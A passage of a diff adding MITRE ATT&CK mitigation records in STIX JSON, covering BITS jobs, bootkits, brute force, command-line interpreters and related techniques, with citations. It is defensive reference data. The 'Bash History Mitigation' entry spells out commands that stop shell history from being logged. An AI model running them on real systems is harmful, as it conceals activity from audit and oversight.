Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--2497ac92-e751-4391-82c6-1b86e34d0294", + "modified": "2019-07-24T14:36:37.612Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "BITS Jobs Mitigation", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)\n\nModify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.\n\nConsider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)\n\nConsider reducing the default BITS job lifetime in Group Policy or by editing the JobInactivityTimeout and MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS. (Citation: Microsoft BITS)", + "external_references": [ + { + "external_id": "T1197", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1197" + }, + { + "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.", + "source_name": "Mondok Windows PiggyBack BITS May 2007", + "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/" + }, + { + "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.", + "source_name": "Symantec BITS May 2007", + "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update" + }, + { + "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.", + "source_name": "Microsoft BITS", + "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--cb825b86-3f3b-4686-ba99-44878f5d3173", + "modified": "2019-07-24T14:08:16.317Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Bash History Mitigation", + "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.", + "external_references": [ + { + "external_id": "T1139", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1139" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--ace4daee-f914-4707-be75-843f16da2edf", + "modified": "2019-07-24T14:37:14.608Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Behavior Prevention on Endpoint", + "description": "Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.", + "external_references": [ + { + "external_id": "M1040", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1040" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T16:43:05.712Z", + "id": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", + "modified": "2019-06-11T16:43:05.712Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Binary Padding Mitigation", + "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1009", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1009" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--16a8ac85-a06f-460f-ad22-910167bd7332", + "modified": "2019-07-24T14:37:42.991Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Boot Integrity", + "description": "Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.", + "external_references": [ + { + "external_id": "M1046", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1046" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T17:02:36.984Z", + "id": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb", + "modified": "2019-06-11T17:02:36.984Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Bootkit Mitigation", + "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)", + "external_references": [ + { + "external_id": "T1067", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1067" + }, + { + "source_name": "TCG Trusted Platform Module", + "description": "Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.", + "url": "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf" + }, + { + "source_name": "TechNet Secure Boot Process", + "description": "Microsoft. (n.d.). Secure the Windows 8.1 boot process. Retrieved June 11, 2016.", + "url": "https://technet.microsoft.com/en-us/windows/dn168167.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751", + "modified": "2019-07-24T14:10:43.001Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Browser Bookmark Discovery Mitigation", + "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1217", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1217" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--1c0b39f9-a0c5-42b2-abd8-dc8f1eb74e67", + "modified": "2019-07-24T14:40:39.898Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Browser Extensions Mitigation", + "description": "Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.\n\nBrowser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)\n\nChange settings to prevent the browser from installing extensions without sufficient permissions.\n\nClose out all browser sessions when finished using them.", + "external_references": [ + { + "external_id": "T1176", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1176" + }, + { + "description": "Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.", + "source_name": "Technospot Chrome Extensions GP", + "url": "http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8", + "modified": "2019-07-24T14:41:17.903Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Brute Force Mitigation", + "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. \nToo strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)\n\nRefer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3)\n\nWhere possible, also enable multi factor authentication on external facing services.", + "external_references": [ + { + "external_id": "T1110", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1110" + }, + { + "description": "Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.", + "source_name": "NIST 800-63-3", + "url": "https://pages.nist.gov/800-63-3/sp800-63b.html" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c", + "modified": "2019-07-24T18:03:10.785Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Bypass User Account Control Mitigation", + "description": "Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). \n\nCheck for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)", + "external_references": [ + { + "external_id": "T1088", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1088" + }, + { + "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", + "source_name": "Github UACMe", + "url": "https://github.com/hfiref0x/UACME" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f", + "modified": "2019-07-24T14:13:23.637Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "CMSTP Mitigation", + "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)", + "external_references": [ + { + "external_id": "T1191", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1191" + }, + { + "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.", + "source_name": "MSitPros CMSTP Aug 2017", + "url": "https://msitpros.com/?p=3960" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--91816292-3686-4a6e-83c4-4c08513b9b57", + "modified": "2019-07-24T18:04:13.126Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Change Default File Association Mitigation", + "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1042", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1042" + }, + { + "source_name": "MSDN File Associations", + "description": "Microsoft. (n.d.). Retrieved July 26, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/cc144156.aspx" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed", + "modified": "2019-07-24T14:14:10.412Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Clear Command History Mitigation", + "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).", + "external_references": [ + { + "external_id": "T1146", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1146" + }, + { + "source_name": "Securing bash history", + "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.", + "url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483", + "modified": "2019-07-24T18:05:00.492Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Clipboard Data Mitigation", + "description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1115", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1115" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--19edfa02-1a5f-47e4-ad82-3288f57f64cf", + "modified": "2019-07-24T14:15:03.959Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Code Signing", + "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", + "external_references": [ + { + "external_id": "M1045", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1045" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T17:01:25.405Z", + "id": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "modified": "2019-06-11T17:01:25.405Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Code Signing Mitigation", + "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)", + "external_references": [ + { + "external_id": "T1116", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1116" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "TechNet Trusted Publishers", + "description": "Microsoft. (n.d.). Manage Trusted Publishers. Retrieved March 31, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc733026.aspx" + }, + { + "source_name": "Securelist Digital Certificates", + "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.", + "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--82fbc58b-171d-4a2d-9a20-c6b2a716bd08", + "modified": "2019-07-24T18:07:56.461Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Command-Line Interface Mitigation", + "description": "Audit and/or block command-line interpreters by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1059", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1059" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--f28a20fd-d173-4603-807e-2cb3f51bdf04", + "modified": "2019-07-24T18:09:00.664Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Commonly Used Port Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1043", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1043" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--7c1796c7-9fc3-4c3e-9416-527295bf5d95", + "modified": "2019-07-24T14:17:58.966Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Communication Through Removable Media Mitigation", + "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)", + "external_references": [ + { + "external_id": "T1092", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1092" + }, + { + "source_name": "Microsoft Disable Autorun", + "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.", + "url": "https://support.microsoft.com/en-us/kb/967715" + }, + { + "source_name": "TechNet Removable Media Control", + "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--b8d57b16-d8e2-428c-a645-1083795b3445", + "modified": "2019-07-24T18:09:33.072Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Compile After Delivery Mitigation", + "description": "This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1500", + "url": "https://attack.mitre.org/mitigations/T1500" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": 